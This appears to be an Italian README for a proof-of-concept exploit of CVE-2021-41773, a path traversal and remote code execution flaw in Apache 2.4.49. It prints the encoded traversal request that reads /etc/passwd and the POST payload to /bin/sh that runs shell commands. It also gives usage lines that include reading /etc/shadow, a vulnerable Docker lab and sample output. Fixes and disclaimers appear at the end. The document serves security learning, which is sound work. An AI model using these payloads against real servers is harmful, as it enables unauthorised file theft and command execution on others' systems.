
Prova di concetto di CVE-2021-41773
Solo per uso in ambienti controllati e propri. Non usare contro sistemi senza autorizzazione.
PoC sviluppata per dimostrare e comprendere la vulnerabilità CVE-2021-41773, presente in Apache HTTP Server 2.4.49.
Il difetto risiede nella funzione ap_normalize_path(), che non validava correttamente i caratteri codificati in URL. Ciò consentiva a un attaccante di uscire dal DocumentRoot tramite una sequenza di caratteri codificati (%2e%2e%2f invece di ../), leggendo file arbitrari dal sistema.
Quando il modulo mod_cgi era abilitato, la vulnerabilità si trasformava in RCE (Remote Code Execution), consentendo di eseguire comandi direttamente sul server con i permessi del processo Apache.
Il server deve soddisfare tutte queste condizioni per essere vulnerabile:
| Condizione | Dettaglio |
|---|---|
| Versione di Apache | Esattamente 2.4.49 |
| Direttiva di accesso | Require all granted nella configurazione |
| Modulo CGI | mod_cgi abilitato (solo per RCE) |
Apache 2.4.49 filtrava il classico ../ ma non la sua versione codificata in URL. L'attaccante costruisce un percorso che il filtro non rileva, ma che il sistema operativo interpreta correttamente:
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f è la codifica URL di ../. Apache lo lasciava passare, il sistema operativo lo risolveva e il risultato era l'accesso a file fuori dalla directory web.
Con mod_cgi attivo, il path traversal viene usato per puntare a /bin/sh invece che a un file. Apache lo tratta come uno script CGI e lo esegue. Il comando viaggia nel body della POST come uno script shell minimo:
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh
#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1
L'output del comando arriva nella risposta HTTP.
Il modo più pulito per riprodurre la vulnerabilità è con Docker:
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773
Oppure con un'immagine manuale di Apache 2.4.49 con la configurazione vulnerabile:
<Directory />
Require all granted
</Directory>
Lascio i file di configurazione che ho utilizzato per il test.
Perché 'urllib3' e non 'requests'?
requests ri-codifica automaticamente i caratteri del percorso prima di inviarli.
Questo rompe il payload perché il server riceve %252e invece di %2e.
urllib3 permette di inviare il percorso senza modifiche.
Perché .%2e/ e non %2e%2e/?
Apache filtra %2e%2e/ nel modulo mod_rewrite.
La variante .%2e/ è semanticamente equivalente ma supera il filtro,
perché la normalizzazione del percorso avviene dopo la validazione.
mod_cgi deve essere abilitato affinché la modalità RCE funzioni.
Senza di esso, è possibile solo il path traversal.python PoC_2021-41773.py --target <URL> --mode <traversal|rce> [--cmd <comando>]
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
=======================================================
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC con fines educativos — Solo en entornos propios
=======================================================
[+] Modo: Path traversal
[+] Objetivo: http://localhost:8080
[+] URL Construida: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Enviando request...
Servidor Vulnerable, Status code: 200
=== Contenido de /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[+] Modo: RCE via mod_cgi
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] Enviando request...
[+] RCE confirmados
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2.4.51 o superiore.Require all denied come valore predefinito.mod_cgi se non strettamente necessario.⚠️ Questo repository è esclusivamente a scopo educativo.
L'uso di questo exploit contro sistemi senza autorizzazione esplicita è illegale.
Testato esclusivamente in ambienti locali controllati.
PoC sviluppata a scopo educativo per il portfolio di sicurezza offensiva.
| Argomento | Richiesto | Descrizione |
|---|
--target | Sì | URL base del server (es: http://localhost:8080) |
--mode | Sì | traversal per leggere file, rce per eseguire comandi |
--cmd | No | Comando da eseguire in modalità rce (default: id) |